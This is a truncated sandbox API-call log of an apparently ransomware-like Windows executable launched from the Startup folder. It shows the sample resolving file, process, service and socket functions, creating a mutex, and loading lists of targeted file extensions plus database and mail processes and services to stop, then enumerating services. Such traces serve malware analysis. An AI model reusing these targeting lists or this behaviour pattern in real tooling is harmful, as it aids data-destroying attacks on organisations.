"\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xdb4 [0154.590] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73d30000 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcAddress") returned 0x73d451b0 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleHandleW") returned 0x73d450d0 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="FindNextFileW") returned 0x73d9ee40 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="FindClose") returned 0x73d9ed70 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="MoveFileW") returned 0x73d7e500 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileSizeEx") returned 0x73d9ef40 [0154.590] GetProcAddress (hModule=0x73d30000, lpProcName="GetModuleFileNameW") returned 0x73d45090 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetFileAttributesW") returned 0x73d9ef10 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="ExitProcess") returned 0x73d43cb0 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetCommandLineW") returned 0x73d44cc0 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameW") returned 0x73d732c0 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetComputerNameA") returned 0x73d73780 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="CreateMutexW") returned 0x73d9eb70 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenW") returned 0x73d46c70 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="lstrlenA") returned 0x73d46c50 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcess") returned 0x73d9ea10 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForSingleObject") returned 0x73d9eca0 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetLogicalDrives") returned 0x73d40d20 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="GetTickCount") returned 0x73d9dd50 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteFileW") returned 0x73d9ed40 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="WideCharToMultiByte") returned 0x73d46b10 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73d9ebb0 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="Sleep") returned 0x73d46760 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="LeaveCriticalSection") returned 0x7715b250 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="ReadFile") returned 0x73d9f090 [0154.591] GetProcAddress (hModule=0x73d30000, lpProcName="CreateFileW") returned 0x73d9ed10 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="OpenMutexW") returned 0x73d9ebf0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="EnterCriticalSection") returned 0x7715b2d0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="WaitForMultipleObjects") returned 0x73d9ec80 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiW") returned 0x73d46bf0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="lstrcmpiA") returned 0x73d46bd0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="DeleteCriticalSection") returned 0x7713fb90 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="ReleaseMutex") returned 0x73d9ec20 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="CloseHandle") returned 0x73d9eab0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="GetVersion") returned 0x73d456c0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="CreateThread") returned 0x73d446b0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x73d44a40 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceCounter") returned 0x73d45da0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="QueryPerformanceFrequency") returned 0x73d45dc0 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="GetCurrentProcessId") returned 0x73d9ea20 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="SetFileAttributesW") returned 0x73d9f100 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="GetVolumeInformationW") returned 0x73d9f020 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="WriteFile") returned 0x73d9f180 [0154.592] GetProcAddress (hModule=0x73d30000, lpProcName="SetFilePointerEx") returned 0x73d9f130 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="SetEndOfFile") returned 0x73d9f0e0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="FindFirstFileW") returned 0x73d9edf0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="GetProcessHeap") returned 0x73d451f0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="HeapReAlloc") returned 0x7714f630 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="HeapAlloc") returned 0x77152dc0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="HeapFree") returned 0x73d457f0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="CreatePipe") returned 0x73d44590 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="SetHandleInformation") returned 0x73d9eae0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="CreateProcessW") returned 0x73d44610 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringW") returned 0x73d44430 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="CompareStringA") returned 0x73d44410 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="OpenProcess") returned 0x73d45cc0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="TerminateProcess") returned 0x73d467e0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="GetSystemTime") returned 0x73d454e0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="SystemTimeToFileTime") returned 0x73d467a0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="GetLastError") returned 0x73d45010 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x73d7edc0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="Process32NextW") returned 0x73d7f8f0 [0154.593] GetProcAddress (hModule=0x73d30000, lpProcName="Process32FirstW") returned 0x73d7f750 [0154.593] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b00000 [0154.678] GetProcAddress (hModule=0x74b00000, lpProcName="RegOpenKeyExW") returned 0x74b1e580 [0154.678] GetProcAddress (hModule=0x74b00000, lpProcName="RegQueryValueExW") returned 0x74b1e5a0 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="RegSetValueExW") returned 0x74b1f530 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="RegCloseKey") returned 0x74b1ed60 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="OpenProcessToken") returned 0x74b1efb0 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="GetTokenInformation") returned 0x74b1ee90 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="OpenSCManagerW") returned 0x74b20540 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="OpenServiceW") returned 0x74b1fa20 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="CloseServiceHandle") returned 0x74b1fc00 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="ControlService") returned 0x74b326d0 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="QueryServiceStatus") returned 0x74b22380 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="EnumDependentServicesW") returned 0x74b32f70 [0154.679] GetProcAddress (hModule=0x74b00000, lpProcName="EnumServicesStatusExW") returned 0x74b1fc80 [0154.679] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74860000 [0154.814] GetProcAddress (hModule=0x74860000, lpProcName="SystemParametersInfoW") returned 0x7488f210 [0154.814] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75b60000 [0155.134] GetProcAddress (hModule=0x75b60000, lpProcName="ShellExecuteExW") returned 0x75cc4730 [0155.135] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77110000 [0155.135] GetProcAddress (hModule=0x77110000, lpProcName="NtQuerySystemInformation") returned 0x77182070 [0155.135] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73b10000 [0155.147] GetProcAddress (hModule=0x73b10000, lpProcName="WNetCloseEnum") returned 0x73b12640 [0155.147] GetProcAddress (hModule=0x73b10000, lpProcName="WNetOpenEnumW") returned 0x73b12790 [0155.147] GetProcAddress (hModule=0x73b10000, lpProcName="WNetEnumResourceW") returned 0x73b12410 [0155.147] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74270000 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="WSAStartup") returned 0x74275b40 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="socket") returned 0x74284510 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="send") returned 0x74275030 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="recv") returned 0x74280c50 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="connect") returned 0x74275410 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="closesocket") returned 0x74280910 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="gethostbyname") returned 0x742a6cb0 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="inet_addr") returned 0x74289160 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="ntohl") returned 0x742749d0 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="htonl") returned 0x742749d0 [0155.158] GetProcAddress (hModule=0x74270000, lpProcName="htons") returned 0x74288ff0 [0155.159] GetProcessHeap () returned 0x420000 [0155.159] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42b1b8 [0155.159] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5922143036) returned 1 [0155.159] GetTickCount () returned 0x1138fb3 [0155.159] GetCurrentProcessId () returned 0xdb0 [0155.160] GetTickCount () returned 0x1138fb3 [0155.160] GetTickCount () returned 0x1138fb3 [0155.160] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42b000 [0155.160] GetVersion () returned 0x23f00206 [0155.160] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x4369c0 [0155.160] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438248 [0155.161] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438248, Size=0x20) returned 0x42b078 [0155.161] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42b078, Size=0x40) returned 0x43d908 [0155.161] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x43ed48 [0155.161] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x0 [0155.161] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0A") returned 0x1ec [0155.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4369c0 | out: hHeap=0x420000) returned 1 [0155.161] lstrlenW (lpString="Global\\syncronize_") returned 18 [0155.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d908 | out: hHeap=0x420000) returned 1 [0155.161] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x436a60 [0155.161] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438290 [0155.161] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438290, Size=0x20) returned 0x42b078 [0155.161] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42b078, Size=0x40) returned 0x43dcb0 [0155.161] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44ed50 [0155.162] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x0 [0155.162] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0U") returned 0x1f0 [0155.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436a60 | out: hHeap=0x420000) returned 1 [0155.162] lstrlenW (lpString="Global\\syncronize_") returned 18 [0155.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcb0 | out: hHeap=0x420000) returned 1 [0155.162] GetVersion () returned 0x23f00206 [0155.162] GetCurrentProcess () returned 0xffffffff [0155.162] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0155.162] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0155.162] CloseHandle (hObject=0x1f4) returned 1 [0155.162] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434dc0 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438248 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438248, Size=0x20) returned 0x42b078 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42b078, Size=0x40) returned 0x43d758 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d758, Size=0x80) returned 0x431cd0 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x431cd0, Size=0x100) returned 0x4383c8 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x34) returned 0x433108 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436950 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436a60 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436910 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438248 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436980 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438068 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436980, Size=0x8) returned 0x436960 [0155.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438290 [0155.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436960, Size=0x10) returned 0x438260 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4382a8 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4382d8 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438260, Size=0x20) returned 0x42b078 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438260 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x437ff0 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436950, Size=0x8) returned 0x4369c0 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436a60, Size=0x8) returned 0x436a90 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436a20 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438008 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436a60 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438050 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436a60, Size=0x8) returned 0x436a70 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438308 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436a70, Size=0x10) returned 0x438338 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438350 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436950 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438338, Size=0x20) returned 0x45ee50 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4369c0, Size=0x10) returned 0x438368 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436a90, Size=0x10) returned 0x4383b0 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436a60 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438338 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436960 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438320 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436960, Size=0x8) returned 0x436980 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436a70 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4382f0 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436a90 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438380 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436a90, Size=0x8) returned 0x436960 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438368, Size=0x20) returned 0x45ee78 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383b0, Size=0x20) returned 0x45edd8 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x4369a0 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438368 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x4369c0 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438398 [0155.163] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4369c0, Size=0x8) returned 0x436a90 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434b20 [0155.163] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434d80 [0155.164] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0155.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.164] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4383b0 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383b0, Size=0x20) returned 0x45efb8 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45efb8, Size=0x40) returned 0x43da28 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43da28, Size=0x80) returned 0x4386f8 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4386f8, Size=0x100) returned 0x4383c8 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4383b0 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383b0, Size=0x20) returned 0x45f030 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f030, Size=0x40) returned 0x43da70 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43da70, Size=0x80) returned 0x4386f8 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4386f8, Size=0x100) returned 0x437e90 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4383b0 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x463c88 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463c88, Size=0x8) returned 0x463be8 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434c40 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463be8, Size=0x10) returned 0x464bc8 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x434b60 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45efe0 [0155.169] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464bc8, Size=0x20) returned 0x45ee28 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c) returned 0x45f238 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x16) returned 0x434b80 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45f008 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x464bb0 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x463c78 [0155.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40) returned 0x43dbd8 [0155.170] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463c78, Size=0x8) returned 0x463c18 [0155.170] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x3c) returned 0x43db48 [0155.170] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463c18, Size=0x10) returned 0x464c10 [0155.170] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434de0 [0155.170] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x434c80 [0155.170] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c10, Size=0x20) returned 0x45ef18 [0155.170] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x435fe8 [0155.170] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0155.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.170] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0155.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437e90 | out: hHeap=0x420000) returned 1 [0155.170] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45f1e8 [0155.190] EnumServicesStatusExW (in: hSCManager=0x45f1e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0155.191] GetLastError () returned 0xea [0155.191] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1ae2) returned 0x466788 [0155.192] EnumServicesStatusExW (in: hSCManager=0x45f1e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466788, cbBufSize=0x1ae2, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466788, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0155.193] CloseServiceHandle (hSCObject=0x45f1e8) returned 1 [0155.193] lstrlenW (lpString="AppXSvc") returned 7 [0155.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0155.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0155.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0155.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0155.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0155.197] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.197] lstrlenW (lpString="Audiosrv") returned 8 [0155.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0155.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0155.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0155.198] lstrlenW (lpString="BFE") returned 3 [0155.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.198] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.198] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0155.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.198] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0155.198] lstrlenW (lpString="CDPSvc") returned 6 [0155.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0155.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0155.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0155.198] lstrlenW (lpString="ClickToRunSvc") returned 13 [0155.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 